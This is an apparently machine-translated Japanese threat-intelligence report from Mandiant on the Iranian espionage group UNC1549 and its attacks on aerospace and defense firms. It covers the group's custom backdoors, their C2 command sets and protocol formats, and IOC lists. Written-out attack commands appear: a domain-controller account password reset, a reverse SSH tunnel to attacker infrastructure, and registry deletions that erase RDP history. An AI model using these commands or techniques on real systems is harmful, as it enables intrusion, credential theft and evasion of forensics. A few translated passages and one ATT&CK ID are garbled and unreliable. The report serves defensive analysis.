著者:Mohamed El-Banna、Daniel Lee、Mike Stokkel、Josh Goddard
概要
昨年、Mandiantはブログ記事を公開し、中東の航空宇宙、航空、防衛産業を狙ったイラン関連のスパイ活動の疑いを強調しました。このフォローアップ記事では、Mandiantが対応した事件で観察された追加の戦術、技法、および手順(TTP)について議論します。
2024年半ば以来、Mandiantは航空宇宙、航空、防衛産業に対する脅威グループUNC1549によるターゲット指定キャンペーンに対応しています。これらの環境への初期アクセスを获得するため、UNC1549は二重のアプローチを採用しました:認証情報を盗むか、マルウェアを配信するように設計された精巧なフィッシングキャンペーンを展開し、第三者サプライヤーやパートナーとの信頼できる接続を悪用しました。
後者の技法は、防衛請負業者などのセキュリティの成熟度が高い組織をターゲットにする場合に特に戦略的です。これらの主要なターゲットはしばしば堅牢な防御に多大な投資を行いますが、第三者パートナーはより厳しくないセキュリティ態勢を保有している可能性があります。この格差により、UNC1549は抵抗の少ないパスを提供され、最初に接続されたエンティティを侵害することで主要なターゲットの主なセキュリティ制御をバイパスできます。
2023年後半から2025年まで運用している、UNC1549は高度な初期アクセスベクトルを採用しました。これには、第三者関係の悪用(サービスプロバイダーから顧客への軸足移動)、第三者からのVDIブレークアウト、および極めてターゲット指定された、役割に関連するフィッシングが含まれます。
内部に入ると、グループは創造的なラテラルムーブメント技法を活用します。これには、被害者のソースコードを盗んで、プロキシをバイパスするための模造ドメインを使用するスピアフィッシングキャンペーン、および認証情報アクセスのための内部サービスチケッティングシステムの悪用が含まれます。彼らはカスタムツーリング、特にDCSYNCER.SLICKを採用しています。これはDCSync攻撃を実行するための検索順序ハイジャックを介して展開されるバリアントです。
UNC1549のキャンペーンは、調査官を予測し、検出後の長期的な永続性を保証することに焦点を当てることで区別されます。彼らは数ヶ月間静かにビーコンするバックドアを設置し、被害者が根絶を試みた後にアクセスを再取得するためだけにそれらを活性化させます。彼らは広範なリバースSSHシェル(これは法医学的証拠を制限する)を使用し、被害者の産業を戦略的に模倣するドメインを使用して、ステルスおよびコマンドアンドコントロール(C2)を保持します。
脅威活動
初期侵害
UNC1549が採用した主な初期アクセスベクトルには、ターゲット指定のソーシャルエンジニアリングと侵害された第三者アカウントの悪用を組み合わせることが含まれました。ベンダー、パートナー、その他の信頼できる外部エンティティから収集された認証情報を活用して、UNC1549はこれらの関係に固有の合法的なアクセスパスウェイを悪用しました。
第三者サービス
特に、グループは被害者組織によって第三者パートナー、協力者、および請負業者に提供されるCitrix、VMWare、およびAzure仮想デスクトップおよびアプリケーションサービスを頻繁に悪用しました。侵害された第三者認証情報を使用して、彼らはサプライヤーのインフラストラクチャに認証し、ネットワーク周辺内に初期の足がかりを確立しました。認証後、UNC1549は仮想化されたCitrixセッションのセキュリティ境界と制限をエスケープするように設計された技法を使用しました。このブレークアウトは基盤となるホストシステムまたは隣接するネットワークセグメントへのアクセスを付与し、ターゲット企業ネットワーク内の深い側方移動活動の開始を可能にしました。
スピアフィッシング
UNC1549は、ネットワークへの初期アクセスを獲得する方法の1つとして、ターゲット指定されたスピアフィッシングメールを利用しました。これらのメールは、受信者を添付ファイルやリンク内に隠されたマルウェアをダウンロードして実行するようにだますことを目的として、職の機会や採用活動に関連する誘いを使用しました。図1は、被害者の1人に送信されたフィッシングメールのサンプルを示しています。

図1:UNC1549によって送信されたフィッシングメールのスクリーンショット
侵害に成功した後、MandiantはUNC1549が特にITスタッフおよび管理者をターゲットにするスピアフィッシングキャンペーンに軸足を移していることを観察しました。このキャンペーンの目的は、より高い権限を持つ認証情報を取得することでした。これらのフィッシング試行をより信頼できるものにするため、攻撃者はしばしば偵察を実行します。例えば、既に侵害されたインボックスの古いメールで合法的なパスワードリセットリクエストを確認したり、企業の内部パスワードリセットウェブページを識別したり、その後、これらの正規プロセスを模倣するために悪意のあるメールを作成しました。
足がかりを確立する
侵害されたネットワーク内の永続性を維持するため、UNC1549は複数のカスタムバックドアを展開しました。2024年2月のブログ記事でMandiantが議論したMINIBIKEを超えて、グループはTWOSTROKEおよびDEEPROOTなどの他のカスタムマルウェアも利用しています。重要なことに、Mandiantの分析により、初期ターゲット設定と侵害に使用されたマルウェアは一意ではなく、識別されたすべてのポスト悪用ペイロードは、ファミリーに関係なく、一意のハッシュを持っていることが明らかになりました。これには、同じ被害者ネットワーク内で見つかった同じバックドアバリアントの複数のサンプルのインスタンスが含まれました。このアプローチはUNC1549の洗練さと、検出を回避し、法医学的調査を複雑にするためにツールをカスタマイズするために投資された相当な努力を強調しています。
検索順序ハイジャック
UNC1549はDLLサーチオーダーハイジャックを悪用して、CRASHPAD、DCSYNCER.SLICK、GHOSTLINE、LIGHTRAIL、MINIBIKE、POLLBLEND、SIGHTGRAB、およびTWOSTROKEペイロードを実行しました。DLLサーチオーダーハイジャック技法を使用することで、UNC1549はツーリングの実行を持続可能で密かに行う方法を実現しました。
異なる調査全体で、UNC1549は複数のソフトウェアソリューション内でDLLサーチオーダーハイジャックを悪用することで、ソフトウェア依存関係の包括的な理解を実証しました。UNC1549は合法的なFortigate、VMWare、Citrix、Microsoft、およびNVIDIA実行可能ファイルをターゲットにした悪意のあるバイナリを展開しました。多くの場合、脅威アクターは初期アクセス後に合法的なソフトウェアをインストールして、SOHを悪用しました。しかし、他の場合では、攻撃者は既に被害者システムにインストールされていたソフトウェアを利用し、その後、合法的なインストールディレクトリ内に悪意のあるDLLを置き換えまたは追加しました。通常はSYSTEM権限で。
TWOSTROKE
C++バックドアであるTWOSTROKEは、SSL暗号化されたTCP/443接続を使用してコントローラーと通信します。このマルウェアは多様なコマンドセットを所有しており、システム情報収集、DLLロード、ファイル操作、および永続性が可能になります。MINIBIKEとの類似点を示していますが、一意のバックドアと見なされます。
TWOSTROKEの実行時に、一意の被害者識別子を生成する特定のルーチンを採用しています。TWOSTRIKEはWindows API関数を使用して、完全修飾DNSコンピュータ名を取得しますGetComputerNameExW(ComputerNameDnsFullyQualified)。取得されたこの名前はその後、静的キーを利用するXOR暗号化プロセスを受けます。暗号化の後、結果のバイナリデータは小文字の16進文字列に変換されます。
最後に、TWOSTROKEはこの16進文字列の最初の8文字を抽出し、それを反転し、C2サーバーとの後の通信のための被害者の一意のボットIDとして使用します。
機能
C2サーバーへのチェックインリクエストを送信した後、TWOSTROKE C2サーバーは「@##@」で区切られた複数の値を含む16進エンコードペイロードで返します。受信したコマンドに応じて、TWOSTROKEは次のコマンドの1つを実行できます:
-
1:ファイルをC2にアップロード -
2:ファイルまたはシェルコマンドを実行 -
3:DLLをメモリに実行 -
4:C2からファイルをダウンロード -
5:完全な被害者ユーザー名を取得 -
6:完全な被害者マシン名を取得 -
7:ディレクトリをリスト -
8:ファイルを削除
LIGHTRAIL
UNC1549は攻撃者が所有するインフラストラクチャからZIPファイルをダウンロードしているのが観察されました。このZIPファイルには、LIGHTRAILトンネラーがVGAuth.dllとして含まれており、VGAuthCLI.exe実行可能ファイルを使用した検索順序ハイジャックを介して実行されました。LIGHTRAILはカスタムトンネラーで、おそらくオープンソースのSocks4aプロキシに基づいていますLastenzugで、Azureクラウドインフラストラクチャを使用して通信します。
-
MAX_CONNECTIONSを250から5000に増加
-
lastenzug関数内の静的構成(wPathおよびport) -
WebSocket C2に接続するときのプロキシサーバー使用のサポートなし
-
関数の数を削減するコンパイラ最適化(26から10)
さらに、LastenZugはDLLおよびAPI関数解決用のハッシュを使用しています。デフォルトでは、ハッシュ値は値0x41507712でXOR処理されますが、観察されたLIGHTRAILサンプルのXOR値は元のソースコードとは異なります –0x41424344('ABCD')。
必要なAPI関数ポインターをロードした後、初期化は、サーバー名(wServerName)、ポート、およびURI(wPath)値を入力することで継続します。ポートはハードコードで443(HTTPS用)で、パスはハードコードで「/news」です。これはソースコードとは異なり、これらの値はlastenzug関数への入力パラメータです。
initWS関数はWebSocket接続を確立する責任があり、Windows WinHTTP APIを使用して実行します。initWS関数にはハードコードされたUser-Agent文字列があり、スタック文字列として構築しています:
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136
MandiantはドイツからVirusTotalにアップロードされた別のLIGHTRAILサンプルを識別しました。しかし、このサンプルはアップローダーによって修正されたようで、C2ドメインは意図的に変更されました。
GET https://aaaaaaaaaaaaaaaaaa.bbbbbb.cccccccc.ddddd.com/page HTTP/1.1
Host: aaaaaaaaaaaaaaaaaa.bbbbbb.cccccccc.ddddd.com
Connection: Upgrade
Upgrade: websocket
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.37 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136
Sec-WebSocket-Key: 9MeEoJ3sjbWAEed52LdRdg==
Sec-WebSocket-Version: 13
図2:修正されたLIGHTRAILネットワーク通信スニペット
最も注目すべきは、このサンプルが通信用に異なるURLパスを使用しているだけでなく、このサンプルのUser-Agentは、以前に観察されたLIGHTRAILサンプルおよびLastenZugソースコードのものとは異なることです。
DEEPROOT
DEEPROOTはGoで書かれたLinuxバックドアで、次の機能をサポートしています:シェルコマンド実行、システム情報列挙およびファイルリスト、削除、アップロード、およびダウンロード。DEEPROOTはLinuxシステムで動作するようにコンパイルされました。しかし、Goのアーキテクチャのため、DEEPROOTは他のオペレーティングシステムでもコンパイルできます。この記事の時点で、Mandiantはデバイスに対応するDEEPROOTサンプルを観察していません。
DEEPROOTはMicrosoft Azureでホストされた複数のC2ドメインを使用しているのが観察されました。観察されたDEEPROOTサンプルはバイナリごとに複数のC2サーバーを使用しており、1つのC2サーバーがダウンしている場合は冗長性に使用されると疑われています。
機能
C2サーバーへのチェックインリクエストを送信した後、DEEPROOT C2サーバーは「-===-」で区切られた複数の値を含む16進エンコードペイロードで返します
<sleep_timeout>-===-<command_id>-===-<command>-===-<argument_1>-===-<argument_2>
図3:デコードされたPOSTボディデータ構造
-
sleep_timeoutは、次のリクエストを行う前に待機する時間(ミリ秒単位)です。 -
command_idはC2コマンドの識別子で、バックドアが結果でC2に応答する場合に使用されます。 -
commandはコマンド番号で、次のいずれかです:
-
1-ディレクトリ情報を取得(ディレクトリリスト)、ディレクトリパスはargument_1で受け取られます。 -
2-ファイルを削除、ファイルパスはargument_1で受け取られます。 -
3-被害者ユーザー名を取得。 -
4-被害者のホスト名を取得。 -
5-シェルコマンドを実行、シェルコマンドはargument_1で受け取られます。 -
6-C2からファイルをダウンロード、C2ファイルパスはargument_1で受け取られ、ローカルファイルパスはargument_2で受け取られます。 -
7-ファイルをC2にアップロード、ローカルファイルパスはargument_1で受け取られます。
argument_1およびargument_2はコマンド引数で、オプションです。
GHOSTLINE
GHOSTLINEはGoで書かれたWindows トンネラーユーティリティで、通信用にハードコードされたドメインを使用しています。GHOSTLINEはそのネットワーク接続にgo-yamuxライブラリを使用します。
POLLBLEND
POLLBLENDはC++で書かれたWindowsトンネラーです。POLLBLENDの初期イテレーションは複数のハードコードされたC2サーバーを備えており、自己登録とトンネラー構成ダウンロードの2つのハードコードされたURIパラメータを利用していました。マシンの登録のため、POLLBLENDは/register/に到達し、次のJSONボディを持つHTTP POSTリクエストを送信しました。
{"username": "<computer_name>"}
図4:POLLBLENDボディデータ
コード署名
複数の侵入にわたるUNC1549の活動の追跡全体で、イランが支援する脅威グループは合法的なコード署名証明書でいくつかのバックドアバイナリに署名しているのが観察されました。これはCheck Pointによってカバーされた戦術でもあります。これはおそらく、マルウェアが検出を回避し、デジタル署名されたコードを信頼するように構成されることが多いアプリケーションホワイトリストなどのセキュリティ制御をバイパスするのに役立つためです。グループはこの技法を採用して、GHOSTLINE、POLLBLEND、およびTWOSTROKEの亜種を含むマルウェアサンプルを武装化しました。識別されたすべてのコード署名証明書は、失効に関する関連認証局に報告されています。
権限をエスカレート
UNC1549は、侵害後に認証情報を盗んで機密データを収集することを目的とした様々な技法とカスタムツールを使用しているのが観察されました。これには、Active Directoryレプリケーション機能DCSync を模倣するように設計されたユーティリティ、DCSYNCER.SLICKが含まれました。DCSync は、ドメインコントローラーがRPCを介して変更を複製するために使用する合法的な関数です。これにより、攻撃者はドメインコントローラーから直接NTLMパスワードハッシュを抽出できるようになりました。CRASHPADという別のツールは、Webブラウザーに保存された認証情報の抽出に焦点を当てていました。視覚的データ収集の場合、彼らはSIGHTGRABを展開しました。これはユーザーのスクリーン上に表示される機密情報をキャプチャする可能性がある定期的なスクリーンショットを撮る能力があるツールです。さらに、UNC1549はTRUSTTRAPを展開するなどの簡単な方法を利用しました。これはユーザーに認証情報の入力を促すために偽のポップアップウィンドウを提示し、その後、攻撃者によって収集されました。
UNC1549は頻繁にDCSync攻撃を使用してドメインユーザーのNTLMパスワードハッシュを取得し、その後、側方移動と権限のエスカレーションを促進するために破られました。DCSync のために必要なディレクトリレプリケーション権を取得するために、脅威アクターは複数の方法を採用しました。彼らはnet.exeを使用してドメインコントローラーコンピュータアカウントのパスワードを非従来的にリセットしているのが観察されました。このアクションは通常、ホストのドメインコントローラー機能を破壊し、停止を引き起こしますが、DCSync操作を実行して機密認証情報を抽出することを成功させたため、ドメイン管理者とAzure AD Connect アカウントのパスワードが含まれます。UNC1549は、ドメインレプリケーション権を取得するための他の技法を活用しました。これには、ならず者コンピュータアカウントの作成およびリソースベースの制約付き委任(RBCD)割り当ての悪用が含まれます。彼らはまた、Kerberoasting を実行し、難読化されたInvoke-Kerberoastスクリプトを利用して、認証情報を盗みました。
net user DC-01$ P@ssw0rd
図5:ドメインコントローラーコンピュータアカウントをリセットするためのUNC1549 net.exeコマンドの例
場合によっては、ワークステーションに足がかりを得た直後に、UNC1549は脆弱なActive Directory Certificate Services テンプレートを発見しました。彼らはこれらを使用して証明書をリクエストし、より特権を持つユーザーアカウントを偽装できるようにしました。
UNC1549はまた、Webブラウザー内に保存された認証情報を頻繁にターゲットにしました。これは悪意のあるユーティリティ経由またはRDPセッションハイジャック経由です。後者では、脅威アクターはquser.exeまたはwmic.exeを使用してシステムにログインしているユーザーを識別し、そのシステムにRDPしてユーザーのアカウントでアクティブでロック解除されたWebブラウザーセッションにアクセスします。
DCSYNCER.SLICK
DCSYNCER.SLICKはオープンソースプロジェクトに基づくWindows実行可能ファイルですDCSyncerであり、Mimikatzソースコードに基づいています。DCSYNCER.SLICKは動的API解決を使用するように変更されており、すべてのprintf文が削除されています。
さらに、DCSYNCER.SLICKは認証情報を収集してXOR暗号化し、ハードコードされたファイル名とパスに書き込みます。DCSYNCER.SLICKで使用されることが観察されたハードコードされたファイル名とパスは以下の通りです:
C:\users\public\LOG.txtC:\Program Files\VMware\VMware Tools\VMware VGAuth\LOG.txt
検出を回避するため、UNC1549は侵害されたドメインコントローラーコンピュータアカウントのコンテキスト内でマルウェアを実行しました。彼らはアカウントパスワードを手動でリセットすることでこれを実現しました。標準のnetdomコマンドを利用する代わりに、UNC1549はWindowsコマンドnet user <computer_name> <password>を使用しました。その後、彼らはこれらの新しく取得した認証情報を使用してDCSYNCER.SLICKペイロードを実行しました。この戦術は、複製が2つの合法的なドメインコントローラー間で発生したという誤った印象を与えるでしょう。
CRASHPAD
CRASHPADはC++で書かれたWindows実行可能ファイルで、explorer.exeユーザー権限を偽装することによってファイルconfig.txtの内容をcrash.logファイルに復号化し、CryptUnprotectDataAPIを通じて実行します。
-
C:\Program Files\VMware\VMware Tools\VMware VGAuth\crash.log -
C:\Program Files\VMware\VMware Tools\VMware VGAuth\config.txt
CRASHPADの実行後、UNC1549がこれらのファイルの内容を削除したため、これらのファイルの内容を決定することができませんでした。
CRASHPAD構成および出力ファイルパスはサンプルにハードコードされており、DCSYNCER.SLICKバイナリで見つかったLOG.txtファイル名に似ています。
SIGHTGRAB
SIGHTGRABはCで書かれたWindows実行可能ファイルで、定期的にスクリーンショットをキャプチャし、ディスクに保存します。実行時に、SIGHTGRABはUser32.dllを含む複数のWindowsライブラリを動的にロードしていますGdi32.dllおよびOle32.dll。SIGHTGRABはLoadLibraryAおよびGetProcAddressコール経由での実行時API解決を実装し、システム機能にアクセスするための文字列をエンコード化します。SIGHTGRABはAPI関数名をデコードするために0x41の1バイトキーを使用したXOR暗号化を使用します。
SIGHTGRABは現在のタイムスタンプを取得し、タイムスタンプにYYYY-MM-DD-HH-MMの文字列補間を使用してディレクトリ名を生成します。この新しく作成されたディレクトリ内で、SIGHTGRABは取得したすべてのスクリーンショットを増分的に保存します。
C:\Users\Public\Videos\2025-3-7-10-17\1.jpg
C:\Users\Public\Videos\2025-3-7-10-17\2.jpg
C:\Users\Public\Videos\2025-3-7-10-17\3.jpg
C:\Users\Public\Music\2025-3-7-10-17\1.jpg
C:\Users\Public\Music\2025-3-7-10-17\2.jpg
C:\Users\Public\Music\2025-3-7-10-17\3.jpg
図6:ディスク上のSIGHTGRABで作成されたスクリーンショットファイルの例
Mandiantはこんにちはメインのワークステーション戦術的に展開されたSIGHTGRABを観察します、機密データを処理しているユーザーのために、後続のデータ露出と流出を可能にし、その後、その特権アクセスを持つユーザーのために、権限のエスカレーションを可能にする特別なターゲット設定アクセス制限されたシステムへのアクセスを可能にします。
TRUSTTRAP
ユーザーに認証情報を送信するようにだまして、Windowsプロンプトを機能させるマルウェア。キャプチャされた認証情報はテキストファイルに保存されます。図7はMicrosoft Outlookログインウィンドウを模倣したTRUSTTRAPによるサンプルポップアップを示しています。

図7:偽のMicrosoft Outlookログインウィンドウを示すスクリーンショット
TRUSTTRAPは少なくとも2023年以来、側方移動に使用されるユーザー認証情報を取得するためにUNC1549によって使用されています。
偵察および側方移動
内部偵察の場合、UNC1549は合法的なツールと一般的に利用可能なユーティリティを活用しました。これはおそらく、標準的な管理活動と混ざるためです。AD Explorer(Microsoftによって署名された有効な実行可能ファイル)は、Active Directoryをクエリして構成の詳細を検査するために使用されました。これに加えて、グループはnet userおよびnet groupなどのネイティブWindowsコマンドを採用して、ドメイン内の特定のユーザーアカウントおよびグループメンバーシップを列挙し、特定のサブネットでのPingおよびポートスキャン偵察のためのPowerShellスクリプト、通常は特権を持つサーバーまたはIT管理者ワークステーションに関連するサブネットでした。
UNC1549は側方移動用に様々な方法を使用し、被害者環境内の制限に応じて異なります。最も頻繁に、RDPが使用されました。Mandiantはまた、PowerShell Remoting、Atelier Web Remote Commander(「AWRC」)、およびSCCM リモートコントロール、およびSCCMVNCのバリアント実行を含むSCCMリモートコントロールの使用も観察しました。システムでSCCMリモートコントロールを有効にします。
Atelier Web Remote Commander
Atelier Web Remote Commander(AWRC)は、Windowsシステムをリモートで管理、監査、サポートするための商用ユーティリティです。その主な特徴は、エージェントレス設計です。これはリモートマシンにソフトウェアのインストールや事前構成は必要がなく、管理者がすぐに接続できることを意味します。
-
確立されたリモート接続:AWRCを使用して、侵害されたネットワーク内のターゲットされたホストへのリモート接続を確立
-
実施された偵察:AWRCの組み込み機能を採用して、次によって情報を集める:
-
実行中のサービスの列挙
-
アクティブなプロセスの列挙
-
既存のRDPセッションの列挙
盗まれた認証情報:AWRCを悪用して、ユーザー認証情報を含むリモートシステムから機密Webブラウザーファイルを流出
展開されたマルウェア:AWRCをベクトルとして使用して、マルウェアを侵害されたマシンに転送し、展開
SCCMVNC
SCCMVNCは、Microsoft System Center Configuration Manager(SCCM/ConfigMgr)内の既存のリモートコントロール機能を活用して、追加のサードパーティモジュールユーザーの同意/通知を必要としないVNCのようなリモートアクセス体験を実現するように設計されたツールです。
SCCM.exe reconfig /target:[REDACTED]
図8:UNC1549が実行するSCCMVNCコマンドの例
SCCMVNCのコア機能は、SCCMの既存のリモートコントロール機能を操作する能力にあります。個別のVNCサーバーまたはその他のリモートアクセスソフトウェアを展開する代わりに、ツールはクライアントワークステーション上のネイティブSCCMリモートコントロールサービスの設定と直接対話し、再構成します。このアプローチは、エンタープライズ環境内に既に存在し、信頼されている既存のコンポーネントを活用しています。
SCCMVNCの重要な側面は、SCCM リモートコントロールに通常関連する標準的な同意および通知メカニズムをバイパスする能力です。通常、SCCM リモートコントロールセッションが開始されると、エンドユーザーに許可を求めるメッセージが表示され、様々な通知アイコンまたは接続バーが表示されます。SCCMVNCは基盤となるSCCM設定を効果的に再構成します(主にWMI相互作用を通じて)これらのユーザーに面した要件を無効にします。この変更により、VNC接続で期待されるものと同等のより離散的でシームレスなリモートアクセス体験を可能にし、ユーザーが進行中のセッションをすぐに認識しないかもしれません。
コマンドとコントロール
UNC1549はC2としてMicrosoft Azureウェブアプリ登録およびクラウドインフラストラクチャの使用を続けました。MINIBUS、MINIBIKE、およびTWOSTROKEを含むバックドアに加えて、UNC1549はトラフィックをC2サーバーから侵害されたシステムに転送するために確立されたSSHリバーストンネルに大きく依存していました。この技法は、セキュリティテレメトリーがネットワーク接続のみを記録するため、調査時にホストベースのアーティファクトの可用性を制限しました。例えば、SMB共有からデータを収集している間、SSHプロセスからのアウトバウンド接続がリモートシステムのポート445に観察されましたが、被害者環境内でのステージングが行われておらず、オブジェクト監査が無効になっているため、実際に収集されたデータを確認することができませんでした。
C:\windows\system32\openssh\ssh.exe[Username]@[IP Address] -p 443 -o ServerAliveInterval=60 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -f -N -R 1070
図9:UNC1549リバースSSHコマンドの例
Mandiantはまた、ZEROTIERおよびNGROK を含む様々な冗長リモートアクセス方法の展開の証拠を識別しました。場合によっては、これらの代替方法は、被害者組織が修復アクションを実行するまで脅威アクターによって使用されませんでしたが、これはアクセスを保持するために主に展開されることを示唆しています。
ミッションを完了
スパイ活動
UNC1549の活動は強くスパイ活動によって動機付けられているようで、ミッション目標はターゲットされたネットワークからの広範なデータ収集を中心としています。グループはネットワーク/ITドキュメント、知的財産、およびメールを含む機密情報を積極的に求めています。さらに、UNC1549は侵害された組織をしばしば軸足として活用し、その他のエンティティ、特に同じ産業セクター内のエンティティをターゲットにするためにアクセスを使用し、効果的に第三者サプライヤーとパートナーの侵入を実施して、インテリジェンス収集目標をさらに活動させています。
注目すべきは、Mandiantは無関係なセクターの組織での侵入に対応し、初期スピアフィッシング誘いが航空宇宙および防衛組織での職に関連していたため、侵入が日和見的であると評価しました。これはUNC1549が、従来のスパイ活動目標を直ちに満たさない被害者組織へのアクセスと永続性を拡大するためのリソースをコミットする能力を実証しました。
防衛回避
UNC1549は、検出を避けるため、調査活動を妨げるために、侵害されたシステムからの実行後にユーティリティを頻繁に削除しました。RDP接続履歴レジストリキーの削除などの法医学的アーティファクトの削除も観察されました。さらに、前述のように、グループは被害者ホストから自分たちのインフラストラクチャへの広範なSSHリバーストンネルを繰り返し使用しました。これはこれらのシステムにインストールされているEDRエージェントから自分たちの活動を隠すのに役立つ技法です。合わせて、このアクティビティはUNC1549の過去1年間の運用セキュリティの増加を実証しました。
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
図10:RDP接続履歴レジストリキーを削除するためのUNC1549コマンドの例
謝辞
この分析は、Google脅威インテリジェンスグループ、Mandiantコンサルティング、およびFLARE全体からの支援がなければ可能ではありませんでした。特にFLAREのGreg SinclairおよびMustafa Nasserから、Mandiantコンサルティングの Melissa Derr、Liam Smith、Chris Eastwood、Alex Pietz、Ross Inman、およびEmeka Aguに感謝したいと思います。
MITRE ATT&CK
|
戦術 |
ID |
名前 |
説明 |
|
収集 |
T1213.002 |
情報リポジトリからのデータ:SharePoint |
UNC1549は微Soft TeamsおよびSharePointを閲覧してファイルをダウンロードしました。 |
|
収集 |
T1113 |
スクリーン・キャプチャー |
UNC1549は機密データからスクリーンショットを作成しているのが観察されました。 |
|
偵察 |
T16561598.003 |
情報を求めるフィッシング |
UNC1549は第三者ベンダーアカウントを使用して、パスワードリセットポータルテーマを使用して特権アカウントを取得しました。 |
|
認証情報アクセス |
T1110.003 |
ブルートフォース:パスワードスプレー |
UNC1549はドメインに対するパスワードスプレー攻撃を実行しているのが観察されました。 |
|
認証情報アクセス |
T1003.006 |
OS認証情報ダンプ:DCSync |
UNC1549はDCSYNCER.SLICKを使用してドメインコントローラーレベルでDCSyncを実行しているのが観察されました。 |
|
防衛回避 |
T1574.001 |
実行フロー:DLLサーチオーダーハイジャック |
UNC1549はLIGHTRAILとDCSYNCER.SLICKの両方を実行するために検索順序ハイジャックを使用しているのが観察されました。 |
|
初期アクセス |
T1078 |
有効なアカウント |
UNC1549は初期アクセスを獲得するために有効な侵害されたアカウントを使用しました。 |
|
初期アクセス |
T1199 |
信頼できる関係 |
UNC1549は初期アクセスと側方移動の両方のために信頼できる第三者ベンダーアカウントを使用しました。 |
|
タイプ |
指標 |
説明 |
|---|---|---|
|
ネットワーク |
104.194.215[.]88 |
SSHトンネリングに使用されるのが観察されました。 |
|
ネットワーク |
13.60.50[.]172 |
SSHトンネリングに使用されるのが観察されました。 |
|
ネットワーク |
167.172.137[.]208 |
SSHトンネリングに使用されるのが観察されました。 |
|
ネットワーク |
34.18.42[.]26 |
SSHトンネリングに使用されるのが観察されました。 |
|
ネットワーク |
4.188.75[.]206 |
SSHトンネリングに使用されるのが観察されました。 |
|
ネットワーク |
4.240.113[.]27 |
SSHトンネリングに使用されるのが観察されました。 |
|
ネットワーク |
40.119.176[.]233 |
SSHトンネリングに使用されるのが観察されました。 |
|
ネットワーク |
politicalanorak[.]com |
SSHトンネリングに使用されるのが観察されました。 |
|
ネットワーク |
ac-connection-status105.azurewebsites[.]net |
GHOSTLINE |
|
ネットワーク |
acc-cloud-connection.azurewebsites[.]net |
GHOSTLINE |
|
ネットワーク |
active-az-check-status45.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
active-az-check-status675.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
active-az-status45.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
active-az-status795.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
active-internal-log65.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
active-internal-logs.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
active-intranet-logs.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
airbus.usa-careers[.]com |
初期アクセス用のフィッシングドメイン |
|
ネットワーク |
airlinecontrolsite.uaenorth.cloudapp.azure[.]com |
DEEPROOT |
|
ネットワーク |
airlinecontrolsite.westus3.cloudapp.azure[.]com |
DEEPROOT |
|
ネットワーク |
airplaneserviceticketings[.]com |
MINIBIKE |
|
ネットワーク |
airseatregister.eastus.cloudapp.azure[.]com |
DEEPROOT |
|
ネットワーク |
airseatsregister.qatarcentral.cloudapp.azure[.]com |
DEEPROOT |
|
ネットワーク |
airseatsregistering.qatarcentral.cloudapp.azure[.]com |
DEEPROOT |
|
ネットワーク |
airtravellog[.]com |
TWOSTROKE |
|
ネットワーク |
automationagencybusiness.azurewebsites[.]net |
TWOSTROKE |
|
ネットワーク |
automationagencybusiness[.]com |
TWOSTROKE |
|
ネットワーク |
browsercheckap.azurewebsites[.]net |
MINIBIKE |
|
ネットワーク |
codesparkle.eastus.cloudapp.azure[.]com |
TWOSTROKE |
|
ネットワーク |
connect-acc-492.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
connect-acl-492.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
customerlistchange.eastus.cloudapp.azure[.]com |
LIGHTRAIL |
|
ネットワーク |
developercodepro.azurewebsites[.]net |
TWOSTROKE |
|
ネットワーク |
developercodevista.azurewebsites[.]net |
TWOSTROKE |
|
ネットワーク |
dreamtiniventures.azurewebsites[.]net |
TWOSTROKE |
|
ネットワーク |
fdtsprobusinesssolutions.azurewebsites[.]net |
TWOSTROKE |
|
ネットワーク |
fdtsprobusinesssolutions[.]com |
TWOSTROKE |
|
ネットワーク |
fdtsprobusinesssolutions.eastus.cloudapp.azure[.]com |
TWOSTROKE |
|
ネットワーク |
fdtsprobusinesssolutions.northeurope.cloudapp.azure[.]com |
TWOSTROKE |
|
ネットワーク |
forcecodestore[.]com |
TWOSTROKE |
|
ネットワーク |
hserbhh43.westus3.cloudapp.azure[.]com |
SSHトンネリングに使用されるのが観察されました。 |
|
ネットワーク |
infrasync-ac372.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
intra-az-check-status45.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
intra-az-check-status675.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
intra-az-status45.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
intra-az-status795.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
masterflexiblecloud.azurewebsites[.]net |
TWOSTROKE |
|
ネットワーク |
mso-internal-log65.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
mso-internal-logs.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
mso-intranet-logs.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
mydocs.qatarcentral.cloudapp.azure[.]com |
側方移動用のフィッシングドメイン |
|
ネットワーク |
nx425-win4945.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
nx4542-win4957.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
nxlog-crash-1567.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
nxlog-win-1567.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
nxversion-win-1567.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
nxversion-win32-1127.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
overqatfa.northeurope.cloudapp.azure[.]com |
SSHトンネリングに使用されるのが観察されました。 |
|
ネットワーク |
queuetestapplication.azurewebsites[.]net |
MINIBIKE |
|
ネットワーク |
skychain13424.azurewebsites[.]net |
MINIBIKE |
|
ネットワーク |
skychain41334.northeurope.cloudapp.azure[.]com |
MINIBIKE |
|
ネットワーク |
skychains42745.eastus.cloudapp.azure[.]com |
MINIBIKE |
|
